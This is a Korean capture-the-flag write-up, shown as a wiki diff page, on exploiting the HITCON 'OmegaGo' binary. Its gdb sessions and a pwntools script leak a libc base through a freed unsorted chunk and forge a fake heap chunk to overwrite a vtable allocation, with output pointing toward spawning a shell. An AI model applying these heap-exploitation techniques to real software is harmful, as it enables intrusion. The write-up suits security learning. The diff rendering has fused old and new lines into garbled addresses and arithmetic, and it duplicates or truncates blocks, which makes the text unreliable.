Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.
regret
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi            0x61d220	0x61d220
gdb-peda$ p main_arena.top
$1 = (mchunkptr) 0x61d210
gdb-peda$ c
Continuing.

Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi            0x61d160	0x61d160
gdb-peda$ ni
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x61d150
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x61d150
gdb-peda$ 
gdb-peda$ x/4gx 0x61d150
0x61d150:	0xb3c74b70123a5ec4	0x0000000000000091
0x61d160:	0x00007ffff7839b78	0x00007ffff7839b78
gdb-peda$ 
  • 다음과 같은 방법으로  gPlayerGameInfo에 저장된 값(Heap address)을 변경할 수 변경하기 전에 중요한 부분이 있습니다.
    • Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.

      • 이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.

        • gPlayerGameInfo(0x609fc0) : 0x1c88e30

      • gPlayerGameInfo 영역에 저장된 Heap 주소 값은 사용자 입력 값으로 변경 할 수 있습니다.

    • 사용자 입력 값으로 "D19"를 입력합니다.

      • 해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.

        • "0x1c88e30" + "0x80" = 0x1c88eb0

Code Block
lazenca0x0@ubuntu:~$ gdb -p 4425
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000001c88e30	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.

Input "D19"

gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000001c88eb0	0x0000000001c88ef0
0x609fd0:	0x0000000001c88fb0	0x0000000000000000

gdb-peda$ p/x 0x1c88e30 + 0x80
$1 = 0x1c88eb0
gdb-peda$ 
  • 다음과 같은 방법으로 Unsorted chunk의 fd, bk영역에 저장된 main_arena.top의 주소 값 출력 할 수있습니다.
    • "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
      • 앞에서 설명했듯이 HUMAN GameInfo(0x1c88ef0) 영역이 Unsorted chunk됩니다.
      • Unsorted chunk(0x1c88ee0)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
        • fd(0x1c88ef0) : 0x7f4b7d233b78
        • bk(0x1c88ef8) : 0x7f4b7d233b78
    • regret() 함수는 gHistory[365]에 저장된 주소(0x1c88eb0)를 이용해 GameInfo를 gPlayerGameInfo 전역 변수에 저장합니다.
      • 즉, Unsorted chunk(0x1c88ee0)의 fd, bk 영역이 출력됩니다.
      • 해당 값을 앞에서 작성한 Decode() 함수를 이용해 해석 할 수 있습니다.
    • 그것은 바로 gPlayerGameInfo에 저장된 값(Heap address) 입니다.
      • 해당 프로그램은 2bit를 이용해 HUMAN,AI의 표시를 구분합니다.
    • 다음으로 중요한 것은 사용자 입력값에 의해 2bit 모두 1이 될 수 없습니다.
    • 즉, 사용자 입력 값으로 gPlayerGameInfo에 저장된 값을 변경하는데 제약이 있다는 것입니다.
  • 다음은 gPlayerGameInfo 전역변수에 0x61cc90 값이 저장되어 있을 경우 입니다.
    • 해당 주소를 bit로 변경하면 "0110 0001 1100 1100 1001 0000"이 됩니다.
    • 여기서 사용자가 값을 입력 할 수 있는 부분은 다음과 같습니다.
      • bit의 값이 "00"인 부분만 값을 저장 할 수 있습니다.
      • "0110 0001 1100 1100 1001 0000"
    • gPlayerGameInfo 전역변수에 저장되는 주소 값을 변경하기 위해서 surrender() 함수를 호출하는 것으로 해결 할 수 있습니다.
      • surrender() 함수를 호출하면 게임이 재설정됩니다.
      • 재설정이 이전에 사용하던 AI, HUMAN Class 의 vtable 영역은 해제가 되지 않기 때문에 gPlayerGameInfo 전역변수에 저장되는 Heap 주소가 변경됩니다.
  • 다음과 같은 방법으로 gPlayerGameInfo에 저장된 값(Heap address)을 변경할 수 있습니다.
    • Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.
      • 이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.
        • gPlayerGameInfo(0x609fc0) : 0x1c88e30
      • gPlayerGameInfo 영역에 저장된 Heap 주소 값은 사용자 입력 값으로 변경 할 수 있습니다.
    • 사용자 입력 값으로 "D19"를 입력합니다.
      • 해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.
        • "0x1c88e30" + "0x80" = 0x1c88eb0
Code Block
lazenca0x0@ubuntu:~$ gdb -p 4425
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000001c88e30	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
Code Block
gdb-peda$ c
Continuing.
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ c
Continuing.


Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ niInput "D19"

gdb-peda$ x/4gx 0x1c88ef0 - 0x10
0x1c88ee00x609FC0
0x609fc0:	0x33bb5de964b6f8480x0000000001c88eb0	0x00000000000000910x0000000001c88ef0
0x1c88ef00x609fd0:	0x00007f4b7d233b780x0000000001c88fb0	0x00007f4b7d233b780x0000000000000000

gdb-peda$ p/x 0x1c88ef00x1c88e30 -+ 0x1c88eb00x80
$2$1 = 0x400x1c88eb0
gdb-peda$ 
  • 다음과 같은 방법으로 Unsorted chunk의 fd, bk영역에 저장된 main_arena.top의 주소 값 출력 할 수있습니다.
    • "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
      • 앞에서 설명했듯이 HUMAN GameInfo(0x1c88ef0) 영역이 Unsorted chunk됩니다.
      • Unsorted chunk(0x1c88ee0)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
        • fd(0x1c88ef0) : 0x7f4b7d233b78
        • bk(0x1c88ef8) : 0x7f4b7d233b78
    • regret() 함수는 gHistory[365]에 저장된 주소(0x1c88eb0)를 이용해 GameInfo를 gPlayerGameInfo 전역 변수에 저장합니다.
      • 즉, Unsorted chunk(0x1c88ee0)의 fd, bk 영역이 출력됩니다.
      • 해당 값을 앞에서 작성한 Decode() 함수를 이용해 해석 할 수 있습니다.
Code Block
gdb-peda$ c
Continuing.
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ c
Continuing.


Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ nic
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000001c88f70	0x0000000001c83880
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff04gx 0x1c88ef0 - 0x10
0x1c88ee0:	0x33bb5de964b6f848	0x0000000000000091
0x60a0000x1c88ef0:	0x00007f4b7d233b78	0x00007f4b7d233b78
0x60a010:	0x0000000000000000	0x0000000000000000gdb-peda$ p/x 0x1c88ef0 - 0x1c88eb0
$2 = 0x40
gdb-peda$ 
  • 다음 코드를 이용할 수 있습니다.
c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000001c88f70	0x0000000001c83880
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x33bb5de964b6f848	0x0000000000000091
0x60a000:	0x00007f4b7d233b78	0x00007f4b7d233b78
0x60a010:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
  • 다음 코드를 이용할 수 있습니다.
Code Block
languagepy
titleLeak libc address
from pwn import *

#context.log_level = 'debug'

col_list = ['A',
Code Block
languagepy
titleLeak libc address
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)

def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')

def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
	locate = str(col_list[colNum])
	locate += str(row)
	Play(locate)

def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])

def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
	#print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)'
    return result

def LeakLibcAddress():
    readBoard()
    return decode(32)

#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))

p.interactive()

...

  • 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.
    • 해당 바이너리의 취약성을 이용해 0x00에 Heap address를 저장한 후 Fake chunk를 가리키도록 해야 합니다.
Panel

0x00x8
0x00

0000000000000000

0000000000000000
0x1000000000000000000000000000000020
0x2000000000000000000000010000000000
0x3000000000000000000000000000000020
0x4000000000000000000000000000000000
0x5000000000000000000000000000000000
0x600000000900000009000000000000004F
0x7040665799D0203E644066800000000000
0x8000000000000000000000000000000031
  • 아래 스크립트를 이용해 Fake chunk의 기본 모형을 만들수 있습니다.
Code Block
  • 다음과 같이 Fake chunk를 확인 할 수 있습니다.
...


#Memory reconstruction
surrender()
surrender()
surrender()
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#Fake Chunk
Play('D14')
Play('R8')

#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)

p.interactive()
  • 다음과 같이 Fake chunk를 확인 할 수 있습니다.
Code Block
titleRun script
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 6327
[*] Libc Address : 0x7f575e361b78
[*] Libc Base Address : 0x7f575dfa33c0
[*] execve bash Address : 0x7f575e089a7d
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..O...XXOX\x00XO......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...X...............
13 ...................
12 .O.................
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
 9 OOOOOOOOOOOOOOOOOOO
 8 .................X.
 7 ...................
 6 ...............O...
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.85



$
Code Block
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 6411
Attaching to process 6411
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x00000000012da010	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
gdb-peda$ x/20gx 0x00000000012da010
0x12da010:	0x0000000000000000	0x0000000000000000
0x12da020:	0x0000000000000000	0x0000000000000020
0x12da030:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x12da040:	0x0000000155555555	0x0000000000000020
0x12da050:	0x0000000000001000	0x0000000000000000
0x12da060:	0x0000000000000000	0x0000000000000000
0x12da070:	0x0000000a00000009	0x500001000000004f
0x12da080:	0x40667feca89fc6d3	0x40667b00d3cff652
0x12da090:	0x0000000000000000	0x000000000000df71
0x12da0a0:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.
  • 다음과 같이 변경되었습니다.



Code Block
$ P1
Code Block
titleRun script
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 5414
[*] Libc Address : 0x7fe144078b78
[*] Libc Base Address : 0x7fe143cba3c0
[*] execve bash Address : 0x7fe143da0a7d
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..OO...........XXO\x00X.O......
18 .................O\x00..
17 .......XXO\x00X.O............
16 ..................OXO.XXO\x00X.
15 .O..................
14 ...X...............
13 ...................
12 .O.................
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........XXXXXXXXXOOOOOOOOOO
 9 OOOOOOOOOOOOOOOOOOO
 8 .................X.
 7 ...................
 6 ...............O...
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ................X...
Time remain: O: 180.00, X: 179153.8556

$  


Code Block
lazenca0x0@ubuntu:~$ gdb -q -p 5414
Attaching to process 5414
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.^C
Program received signal SIGINT, Interrupt.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/20gx4gx 0x609FC0
0x609fc0:	0x00000000000000000x00000000012da050	0x00000000000000000x00000000012da0d0
0x609fd0:	0x00000000000000000x00000000012da190	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x50000100002aaaaa
0x609ff0gdb-peda$ x/10gx 0x00000000012da050 - 0x10
0x12da040:	0x0000000155555555	0x0000000000000020
0x60a0000x12da050:	0x0000000000001000	0x0000000000000000
0x60a0100x12da060:	0x0000000000000000	0x0000000000000000
0x60a0200x12da070:	0x00000001000000070x0000000a00000009	0x500001000000004f
0x60a0300x12da080:	0x40667fecbd987c61	0x40667b28a82a5614
0x60a040:	0x0000000000000000	0x0000000000000000
0x60a050:	0x0000000000000000	0x00000000000000000x40667feca89fc6d3	0x40667b00d3cff652
gdb-peda$ 




  • 다음과 같은 방법으로 gameInfo에 overwrite된 주소값을 0x00의 위치로 변경할 수 있습니다.
    • "surrender" 명령어를 3번 실행합니다.
      • Overflow를 통해 gameInfo.board[0]영역에 저장되는 값이 0x*****410으로 끝나는 값이 되도록하기 위해서입니다.
    • Fake chunk 좌표값(D14, R8)을 입력합니다.

    • gameInfo.board[0]에 저장된 값 0x*****410을 x*****550 으로 변경합니다.
      • 이는 앞에서 설명한 "Fake chunk 구조" 에서 0x00 위치를 가리키도록 하는 것입니다.
      • 좌표값 'P1', '01' 
    • "surrender" 명령어를 실행합니다.
  • 디버깅을 통해 확인해 보겠습니다.
    • D14, R8을 입력해 gameInfo.board[3], gameInfo.board[7]영역에 Fake chunk(0x20)을 저장합니다.
    • gameInfo.board[0]영역에 주소값이 overwrite될 때 까지 게임을 Play 합니다.
    • gameInfo.board[0]영역에 0x0707410 저장됬으며, P1, O1을 입력해 0x0707410 을 0x0707550으로 변경합니다.
    • 그리고 "surrender" 명령어를 실행 후, Computer class의 vtable를 저장할 heap영역으로 0x0707550 영역이 할당됩니다.
    • Computer class 영역에 원하는 주소 영역을 저장하였습니다.
  • 이로 인해 0x0707550을 공격자가 원하는 값으로 덮어쓸수 있게 되었습니다.
    • History[] 배열에 저장되는 Play 정보를 저장하는 Heap 영역을 메모리 0x0707550 보다 낮은 주소에서 부터 Heap 공간을 할당합니다.

...